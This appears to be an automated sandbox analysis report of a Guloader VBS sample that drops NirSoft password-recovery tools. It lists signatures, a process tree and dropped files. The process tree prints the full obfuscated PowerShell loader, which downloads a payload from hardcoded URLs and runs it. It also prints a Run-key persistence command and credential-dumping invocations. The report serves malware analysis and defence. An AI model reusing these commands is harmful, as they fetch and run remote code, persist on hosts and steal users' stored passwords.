Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/07/2024, 01:59

General

  • Target
    bde3493e67a6088d2d265ca765e9aba6f98cc45eb933d5f00f498ffac84711a3.vbs
  • Size 22KB
  • Sample240702-ceg7sswbpl
  • SHA256 bde3493e67a6088d2d265ca765e9aba6f98cc45eb933d5f00f498ffac84711a3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bde3493e67a6088d2d265ca765e9aba6f98cc45eb933d5f00f498ffac84711a3.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:632
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Stumpnser Midernes Fugtighedscremerne tilkaldte Lancinated Territorializations Feest Digammate Fattigfint dossiers Konvojeredes Rudyard Filmologerne Tandpiner Griqua Augustly Pantningens Univalve Scalping Spectromicroscopical Autoklaveringerne Hjlpeprsters Brotherlike Inflationr Stumpnser Midernes Fugtighedscremerne tilkaldte Lancinated Territorializations Feest Digammate Fattigfint dossiers Konvojeredes Rudyard Filmologerne Tandpiner Griqua Augustly Pantningens Univalve Scalping Spectromicroscopical Autoklaveringerne Hjlpeprsters Brotherlike Inflationr';If (${host}.CurrentCulture) {$Anthranyl++;}Function Brandmyndighederne($Emblemers){$eventyrroman=$Emblemers.Length-$Anthranyl;$Hawsing='SUBsTRI';$Hawsing+='ng';For( $Daghesh=1;$Daghesh -lt $eventyrroman;$Daghesh+=2){$Stumpnser+=$Emblemers.$Hawsing.Invoke( $Daghesh, $Anthranyl);}$Stumpnser;}function Opdateringsprogrammet($Etruscan){ & ($Androlepsia) ($Etruscan);}$Garvin=Brandmyndighederne 'AM.o zCi,l,lFaI/H5 .R0B ,( W i.n,dSoLw sM ,N T. 1.0A.A0 ;F AW i nU6.4,;. Nx 6 4B;S TrTv : 1 2S1 . 0 )V SGPe cVkIoT/B2 0I1S0R0 1,0I1T SF iOr eSfTo,xH/C1U2 1 .B0 ';$Maltreated=Brandmyndighederne '.URs e rC-KA g.e,n tI ';$Lancinated=Brandmyndighederne 'Oh t,t pPs :B/H/,c o.nMtAe mSeRg as..cToWm .JdUo./sN e dVsTlJa gpn iSnSgAs.. dSwOpS>Kh t tsp s :P/,/Pm o,vBiDe sRmOa cRk t a,lHkB.Rc o mS/,N.eOdHsUlOaSgCnFi.nBg s,.,dSwGp ';$shrugging=Brandmyndighederne 'S> ';$Androlepsia=Brandmyndighederne '.iYe.xr ';$Trendies='Digammate';$Debarrance = Brandmyndighederne 'AeBc.hSoG %Ba p pFdPaWtoa %O\AP.r oGs kgr i.b.eXr eNsK.,BUectT &C&, e c hSoT Kt ';Opdateringsprogrammet (Brandmyndighederne ' $,g l,o.b.aHl,: s.a.l g,s.e nEh,eFdMe,rHsD=P( c mRds K/ cC ,$mD e,b,aVr rAa,n cAeS) ');Opdateringsprogrammet (Brandmyndighederne ',$Rgiluo b aCl,:itRi l kPaUl.dTt,eS=.$PLAaBn c,iSn.aRtLe dT.isKp lRi t.(,$,sFh,rGuNgTgVi nMgS)F ');Opdateringsprogrammet (Brandmyndighederne ' [BNFeAtE. S ecr v,iTc.e.P,o iSnPtVMFaDn,aBgFe rJ]h: : S eBcGu,rti tSyuPNr oPtuoPcVoSl A= T[CN eFtL. SMe,c.usr,iEt,ySP r,oStSo cSoIlSTEy pSe ],:V: T lTsU1E2. ');$Lancinated=$tilkaldte[0];$Acupressure= (Brandmyndighederne 'S$Ag,l o.bGaPlS:SSKoAm mHeDr,f,uOgDl e,n eGtftCeCt,s = NMe.wS- OTbSj,eGc tS .SByRs tCeTms.INseAt .,WIeDbKCclIi eDn t');$Acupressure+=$salgsenheders[1];Opdateringsprogrammet ($Acupressure);Opdateringsprogrammet (Brandmyndighederne 'D$SSSo mFmSe r fEu gRlSeKnSe t tAeHtHs .,H e a,dCeBr s [B$MMFaHl.t.r,e a t e d,]H=D$ GEa rAvRiRnT ');$Nourishments=Brandmyndighederne 'P$kSCoGmLmOeEr fFu,g lUe.nSe t t eOtOss.FD.o w nFl oSa d F.iUlTe ( $ L a,nKc i nEa tFeSd., $ HRj.l p.e pmr sJtFeAr.s ), ';$Hjlpeprsters=$salgsenheders[0];Opdateringsprogrammet (Brandmyndighederne '.$Kg,lOo b.a lS:BAvshp e.r.sSiAo,nTs 2 3,=.(STCeUs tK-BPNart.h S$IH jMlAp,e p r,s,t e,rMs )K ');while (!$Aspersions23) {Opdateringsprogrammet (Brandmyndighederne ' $Eg l oAbTaUli: BCa.nodTh.oUoFk =H$ tDr u eP ') ;Opdateringsprogrammet $Nourishments;Opdateringsprogrammet (Brandmyndighederne ' SBtFa,r tS-TS l.eSeUp 4L ');Opdateringsprogrammet (Brandmyndighederne ' $.gPl o,bMa,l,: A.s,p eTrAsii.oPn s,2,3 =H(ST eBsFtS-PPAa t hi H$RH,j lBp eVp rSsPtse rBs ), ') ;Opdateringsprogrammet (Brandmyndighederne 'E$OgCl o.b aLl.:AFPu,gFtUi gUh e,dMsHcFr eYmFeSrPnReP= $UgKl.oFbIaSlC:.MIiUd eArRnFe.sF+ + %,$.t iFl kVa,l dStIeP. cTo uSnAtO ') ;$Lancinated=$tilkaldte[$Fugtighedscremerne];}$Spidskandidaternes=331099;$Amphitoky=27737;Opdateringsprogrammet (Brandmyndighederne 'D$,g lPoFbSa l :DFMa,t,t i,gUfBiBn t O=. KGFe,tI-FCBo n.tAe.n t. ,$MHMjSl,pVeSpAr.s t.e.r.sD ');Opdateringsprogrammet (Brandmyndighederne 'A$ gSlRo b.aSl.:.O rUaBt o r iKcAaUlSlEyg T=G L[JSVy s tSeRmE.iC.o.nCv eHrAtF] :.:FF r o mIB a.s eP6O4 SFt r i,n g.( $ FIaht.t,iTgAf i.nTts)H ');Opdateringsprogrammet (Brandmyndighederne 'R$GgBl oTbta lJ:.RSu d yKaSrbdB =O F[PSCy.sFtVeEm,. T e.x.t . E n c,oAd,i nTg ].:,:LA,SBCUI,Im.EG ert S tYrSi,n,gu( $ O rAa tTo,r iLc a.lslMyD)e ');Opdateringsprogrammet (Brandmyndighederne 'F$Tg.l,oLbEa lZ:FB e sTt iBlSl e rF=.$,RTuRdHy a r,dF.Fs.u,bUs,tUrCi nNg,(D$.S p,i,d s,kFaMnPdei,dDa t e r nEe.sN,F$KAEm p h.iBt o.k,yE)T ');Opdateringsprogrammet $Bestiller;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1268
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Proskriberes.Bet && echo t"
        3⤵
          PID:3500
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Stumpnser Midernes Fugtighedscremerne tilkaldte Lancinated Territorializations Feest Digammate Fattigfint dossiers Konvojeredes Rudyard Filmologerne Tandpiner Griqua Augustly Pantningens Univalve Scalping Spectromicroscopical Autoklaveringerne Hjlpeprsters Brotherlike Inflationr Stumpnser Midernes Fugtighedscremerne tilkaldte Lancinated Territorializations Feest Digammate Fattigfint dossiers Konvojeredes Rudyard Filmologerne Tandpiner Griqua Augustly Pantningens Univalve Scalping Spectromicroscopical Autoklaveringerne Hjlpeprsters Brotherlike Inflationr';If (${host}.CurrentCulture) {$Anthranyl++;}Function Brandmyndighederne($Emblemers){$eventyrroman=$Emblemers.Length-$Anthranyl;$Hawsing='SUBsTRI';$Hawsing+='ng';For( $Daghesh=1;$Daghesh -lt $eventyrroman;$Daghesh+=2){$Stumpnser+=$Emblemers.$Hawsing.Invoke( $Daghesh, $Anthranyl);}$Stumpnser;}function Opdateringsprogrammet($Etruscan){ & ($Androlepsia) ($Etruscan);}$Garvin=Brandmyndighederne 'AM.o zCi,l,lFaI/H5 .R0B ,( W i.n,dSoLw sM ,N T. 1.0A.A0 ;F AW i nU6.4,;. Nx 6 4B;S TrTv : 1 2S1 . 0 )V SGPe cVkIoT/B2 0I1S0R0 1,0I1T SF iOr eSfTo,xH/C1U2 1 .B0 ';$Maltreated=Brandmyndighederne '.URs e rC-KA g.e,n tI ';$Lancinated=Brandmyndighederne 'Oh t,t pPs :B/H/,c o.nMtAe mSeRg as..cToWm .JdUo./sN e dVsTlJa gpn iSnSgAs.. dSwOpS>Kh t tsp s :P/,/Pm o,vBiDe sRmOa cRk t a,lHkB.Rc o mS/,N.eOdHsUlOaSgCnFi.nBg s,.,dSwGp ';$shrugging=Brandmyndighederne 'S> ';$Androlepsia=Brandmyndighederne '.iYe.xr ';$Trendies='Digammate';$Debarrance = Brandmyndighederne 'AeBc.hSoG %Ba p pFdPaWtoa %O\AP.r oGs kgr i.b.eXr eNsK.,BUectT &C&, e c hSoT Kt ';Opdateringsprogrammet (Brandmyndighederne ' $,g l,o.b.aHl,: s.a.l g,s.e nEh,eFdMe,rHsD=P( c mRds K/ cC ,$mD e,b,aVr rAa,n cAeS) ');Opdateringsprogrammet (Brandmyndighederne ',$Rgiluo b aCl,:itRi l kPaUl.dTt,eS=.$PLAaBn c,iSn.aRtLe dT.isKp lRi t.(,$,sFh,rGuNgTgVi nMgS)F ');Opdateringsprogrammet (Brandmyndighederne ' [BNFeAtE. S ecr v,iTc.e.P,o iSnPtVMFaDn,aBgFe rJ]h: : S eBcGu,rti tSyuPNr oPtuoPcVoSl A= T[CN eFtL. SMe,c.usr,iEt,ySP r,oStSo cSoIlSTEy pSe ],:V: T lTsU1E2. ');$Lancinated=$tilkaldte[0];$Acupressure= (Brandmyndighederne 'S$Ag,l o.bGaPlS:SSKoAm mHeDr,f,uOgDl e,n eGtftCeCt,s = NMe.wS- OTbSj,eGc tS .SByRs tCeTms.INseAt .,WIeDbKCclIi eDn t');$Acupressure+=$salgsenheders[1];Opdateringsprogrammet ($Acupressure);Opdateringsprogrammet (Brandmyndighederne 'D$SSSo mFmSe r fEu gRlSeKnSe t tAeHtHs .,H e a,dCeBr s [B$MMFaHl.t.r,e a t e d,]H=D$ GEa rAvRiRnT ');$Nourishments=Brandmyndighederne 'P$kSCoGmLmOeEr fFu,g lUe.nSe t t eOtOss.FD.o w nFl oSa d F.iUlTe ( $ L a,nKc i nEa tFeSd., $ HRj.l p.e pmr sJtFeAr.s ), ';$Hjlpeprsters=$salgsenheders[0];Opdateringsprogrammet (Brandmyndighederne '.$Kg,lOo b.a lS:BAvshp e.r.sSiAo,nTs 2 3,=.(STCeUs tK-BPNart.h S$IH jMlAp,e p r,s,t e,rMs )K ');while (!$Aspersions23) {Opdateringsprogrammet (Brandmyndighederne ' $Eg l oAbTaUli: BCa.nodTh.oUoFk =H$ tDr u eP ') ;Opdateringsprogrammet $Nourishments;Opdateringsprogrammet (Brandmyndighederne ' SBtFa,r tS-TS l.eSeUp 4L ');Opdateringsprogrammet (Brandmyndighederne ' $.gPl o,bMa,l,: A.s,p eTrAsii.oPn s,2,3 =H(ST eBsFtS-PPAa t hi H$RH,j lBp eVp rSsPtse rBs ), ') ;Opdateringsprogrammet (Brandmyndighederne 'E$OgCl o.b aLl.:AFPu,gFtUi gUh e,dMsHcFr eYmFeSrPnReP= $UgKl.oFbIaSlC:.MIiUd eArRnFe.sF+ + %,$.t iFl kVa,l dStIeP. cTo uSnAtO ') ;$Lancinated=$tilkaldte[$Fugtighedscremerne];}$Spidskandidaternes=331099;$Amphitoky=27737;Opdateringsprogrammet (Brandmyndighederne 'D$,g lPoFbSa l :DFMa,t,t i,gUfBiBn t O=. KGFe,tI-FCBo n.tAe.n t. ,$MHMjSl,pVeSpAr.s t.e.r.sD ');Opdateringsprogrammet (Brandmyndighederne 'A$ gSlRo b.aSl.:.O rUaBt o r iKcAaUlSlEyg T=G L[JSVy s tSeRmE.iC.o.nCv eHrAtF] :.:FF r o mIB a.s eP6O4 SFt r i,n g.( $ FIaht.t,iTgAf i.nTts)H ');Opdateringsprogrammet (Brandmyndighederne 'R$GgBl oTbta lJ:.RSu d yKaSrbdB =O F[PSCy.sFtVeEm,. T e.x.t . E n c,oAd,i nTg ].:,:LA,SBCUI,Im.EG ert S tYrSi,n,gu( $ O rAa tTo,r iLc a.lslMyD)e ');Opdateringsprogrammet (Brandmyndighederne 'F$Tg.l,oLbEa lZ:FB e sTt iBlSl e rF=.$,RTuRdHy a r,dF.Fs.u,bUs,tUrCi nNg,(D$.S p,i,d s,kFaMnPdei,dDa t e r nEe.sN,F$KAEm p h.iBt o.k,yE)T ');Opdateringsprogrammet $Bestiller;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4676
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Proskriberes.Bet && echo t"
            4⤵
              PID:4068
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:4716
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "gstes" /t REG_EXPAND_SZ /d "%Udvalgenes215% -w 1 $Kofta=(Get-ItemProperty -Path 'HKCU:\Fiberstof\').Ufuldkommenheds;%Udvalgenes215% ($Kofta)"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:5060
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "gstes" /t REG_EXPAND_SZ /d "%Udvalgenes215% -w 1 $Kofta=(Get-ItemProperty -Path 'HKCU:\Fiberstof\').Ufuldkommenheds;%Udvalgenes215% ($Kofta)"
                  6⤵
                  • Adds Run key to start application
                  • Modifies registry key
                  PID:4384
              • C:\Program Files (x86)\windows mail\wab.exe
                "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\jjfhmsolrkxybdloptgptjglily"
                5⤵
                  PID:3188
                • C:\Program Files (x86)\windows mail\wab.exe
                  "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\jjfhmsolrkxybdloptgptjglily"
                  5⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3432
                • C:\Program Files (x86)\windows mail\wab.exe
                  "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\udkzmkynfspcekhszdtjwoaursiegio"
                  5⤵
                  • Accesses Microsoft Outlook accounts
                  PID:1244
                • C:\Program Files (x86)\windows mail\wab.exe
                  "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\efqkncjgtahhoqvwqoflhbvlszafztfpum"
                  5⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4136

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              __PSScriptPolicyTest_kwvabbs5.01b.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kwvabbs5.01b.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              jjfhmsolrkxybdloptgptjglily

              • Path C:\Users\Admin\AppData\Local\Temp\jjfhmsolrkxybdloptgptjglily
              • Size 4KB
              • SHA256 01fc52f877352f6252d3d9351993fc35d7b6b0051ac6d3146184e12f9bc6e704
              • MD5 SHA1 SHA512 SSDEEP

              Proskriberes.Bet

              • Path C:\Users\Admin\AppData\Roaming\Proskriberes.Bet
              • Size 467KB
              • SHA256 5595275fb9355e5017a7033452db54826c0ef829573b16eaf4e30e32473b903b
              • MD5 SHA1 SHA512 SSDEEP

              memory/1244-62-0x0000000000400000-0x0000000000462000-memory.dmp

              memory/1244-54-0x0000000000400000-0x0000000000462000-memory.dmp

              memory/1244-60-0x0000000000400000-0x0000000000462000-memory.dmp

              memory/1268-40-0x00007FF99A700000-0x00007FF99B1C1000-memory.dmp

              memory/1268-1-0x000002112FE00000-0x000002112FE22000-memory.dmp

              memory/1268-0-0x00007FF99A703000-0x00007FF99A705000-memory.dmp

              memory/1268-51-0x00007FF99A700000-0x00007FF99B1C1000-memory.dmp

              memory/1268-39-0x00007FF99A703000-0x00007FF99A705000-memory.dmp

              memory/1268-12-0x00007FF99A700000-0x00007FF99B1C1000-memory.dmp

              memory/1268-11-0x00007FF99A700000-0x00007FF99B1C1000-memory.dmp

              memory/3432-58-0x0000000000400000-0x0000000000478000-memory.dmp

              memory/3432-53-0x0000000000400000-0x0000000000478000-memory.dmp

              memory/3432-55-0x0000000000400000-0x0000000000478000-memory.dmp

              memory/4136-57-0x0000000000400000-0x0000000000424000-memory.dmp

              memory/4136-56-0x0000000000400000-0x0000000000424000-memory.dmp

              memory/4136-59-0x0000000000400000-0x0000000000424000-memory.dmp

              memory/4676-17-0x0000000004D90000-0x0000000004DB2000-memory.dmp

              memory/4676-38-0x0000000008560000-0x000000000B82A000-memory.dmp

              memory/4676-32-0x0000000007380000-0x00000000079FA000-memory.dmp

              memory/4676-19-0x00000000056C0000-0x0000000005726000-memory.dmp

              memory/4676-15-0x0000000004780000-0x00000000047B6000-memory.dmp

              memory/4676-35-0x0000000006F90000-0x0000000006FB2000-memory.dmp

              memory/4676-34-0x0000000007030000-0x00000000070C6000-memory.dmp

              memory/4676-18-0x0000000005650000-0x00000000056B6000-memory.dmp

              memory/4676-36-0x0000000007FB0000-0x0000000008554000-memory.dmp

              memory/4676-29-0x0000000005880000-0x0000000005BD4000-memory.dmp

              memory/4676-33-0x00000000062C0000-0x00000000062DA000-memory.dmp

              memory/4676-30-0x0000000005D40000-0x0000000005D5E000-memory.dmp

              memory/4676-31-0x0000000005D70000-0x0000000005DBC000-memory.dmp

              memory/4676-16-0x0000000004DF0000-0x0000000005418000-memory.dmp

              memory/4716-48-0x0000000002540000-0x000000000580A000-memory.dmp

              memory/4716-67-0x0000000022120000-0x0000000022139000-memory.dmp

              memory/4716-71-0x0000000022120000-0x0000000022139000-memory.dmp

              memory/4716-70-0x0000000022120000-0x0000000022139000-memory.dmp